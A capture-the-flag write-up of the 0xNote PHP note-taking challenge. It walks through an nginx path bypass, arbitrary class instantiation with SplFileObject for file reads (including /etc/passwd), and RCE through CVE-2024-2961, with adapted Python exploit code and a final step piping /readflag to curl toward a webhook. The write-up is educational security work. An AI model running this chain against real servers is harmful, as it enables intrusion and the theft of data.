Prelude

0xNote is a challenge I played during 0xL4ugh CTF 2025, which itself was a lot of fun! Playing with b01lers up to this point has taught me a lot, so I decided to shoot for the stars, and I landed at 0xNote.

0xNote is a web challenge taking the form of a simple note taking app, a user logs in, grabs a session, and is able to make write notes on the page. The flag is stored in a text file, /flag.txt within the container, however this file does not give read permissions to the nobody group, which server runs in.

Instead, a readflag binary is provided which is able to read flag contents and send them to stdout, making its execution the main target of our exploit.

Potential Clues

Reviewing the server’s PHP gives us some initial entry points. First, lets take a look at index.html. More specifically, how notes are rendered.

<div class="note-display">
  <h3>Your Note</h3>
  <div class="note-content" id="noteContent">
    <?= new $_SESSION["color"]($_SESSION["note"]) ?>
  </div>
</div>

Here we see we instance the session color with an argument of the note text. If you are familiar with PHP, the issue should be sticking out at you: if we can control what class $_SESSION["color"] is, we can pass whatever single argument we want with the $_SESSION["note"] value, which we control by creating a note.

So, how can we control the session’s color class?

Bad Nginx

Looking at premium.php, we see an endpoint for changing the color via a POST request. So we can just hit that right? Well not immediately. The server lives behind a reverse proxy, nginx, with the following rule:

server {

listen 80;

index index.php index.html;

	location = /premium.php {
		deny all;
	}

	location / {
		try_files $uri $uri/ /index.php?$args;
	}

	location ~ ^(/.*\.php)$ {
		root /var/www/html;
		include fastcgi_params;
		fastcgi_pass php-fpm:9000;
		fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
		fastcgi_index index.php;
	}
}

So we can’t hit /premium.php directly, but notice the rule is a hard block. If we can craft a path that avoids the specific block to /premium.php, but still has nginx forward requests to it, we should be good. Turns out, it’s very simple, as I was able to send requests to /premium.php/x.php, which fits the regex and routes to premium.php.

Now that we have a method for running a class constructor with any argument, how can we use that to get the flag?

SplFileObject

SplFileObject is a PHP class which opens a file and returns the first line. You can use a series of wrappers to extract a whole file as well by encoding the file opened into Base64.

Knowing this, I played around a bit. I could open sessions in the /tmp directory, I could see the contents of the readflag binary, but not execute it.

If we have arbitrary file read with SplFileObject, how can we get to RCE? I spent a long time playing with phar, but as a teammate more familiar with PHP pointed out to me, this route is very unlikely on PHP 8.

What can we do?

Let’s Use Google

As my limited ideas with PHP kept falling apart, I turned to the internet to solve my problem. Mainly, I was hoping to find some CVE for this version of PHP that may relate to the current knowledge I have of the challenge, and as it turns out, there is.

CVE-2024-2961 - A buffer overflow exploit for glibc’s iconv.

Coincidentally, its well known how this affects PHP, especially when arbitrary reads with wrappers are available.

Final Exploit

Finally, I found a great repo cnext-exploits which did most of the heavy lifting for me.

Running this without modification will not work, however. I had to write my own remote class and patch a few lines to match the situation of the challenge.

class Remote:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip('/')
        self.session = requests.Session()
        self._setup_session()

    def _setup_session(self):
        user = f"cnext_{random.randint(10000, 99999)}"
        self.session.post(f"{self.url}/register.php",
                          data={"username": user, "password": "test"},
                          allow_redirects=False)
        self.session.post(f"{self.url}/login.php",
                          data={"username": user, "password": "test"},
                          allow_redirects=False)
        msg_info(f"Session created as [i]{user}[/]")

    def send(self, path: str):
        self.session.post(f"{self.url}/premium.php/x.php",
                          data={"color": "SplFileObject"})
        self.session.post(f"{self.url}/index.php",
                          data={"note": path})
        r = self.session.get(f"{self.url}/index.php")
        return r

    def download(self, path: str) -> bytes:
        filter_path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(filter_path)

        match = re.search(
            r'<div class="note-content"[^>]*>(.*?)</div>', response.text, re.DOTALL)
        if not match:
            return b""

        content = match.group(1).strip()
        content = content.replace("&lt;", "<").replace("&gt;", ">")
        content = content.replace("&amp;", "&").replace("&quot;", '"')

        try:
            return b64_module.b64decode(content)
        except:
            return content.encode('latin-1')

Then, the original test of exploitation does not match the same format the challenge will return with our custom Remote class, so I also had to patch the check_vulnerable function.

def check_vulnerable(self) -> None:
    # Skip data:// test - SplFileObject can't read it directly
    # But php://filter/...resource=data:... DOES work

    # Just test basic file read
    passwd = self.remote.download("/etc/passwd")
    if b"root:" not in passwd:
        failure("Cannot read /etc/passwd")

    # Test iconv charset availability
    self.remote.send("php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=/etc/passwd")

Finally, I was able to /readflag | curl to my webhook.

Fun challenge!

Conclusion

I was able to secure the second solve on this challenge, and by the end of the CTF, there were only 8 solves on it.

I’m pretty happy with this, especially as a newer player on b01lers, so I’m hoping this will give me some good knowledge for the future!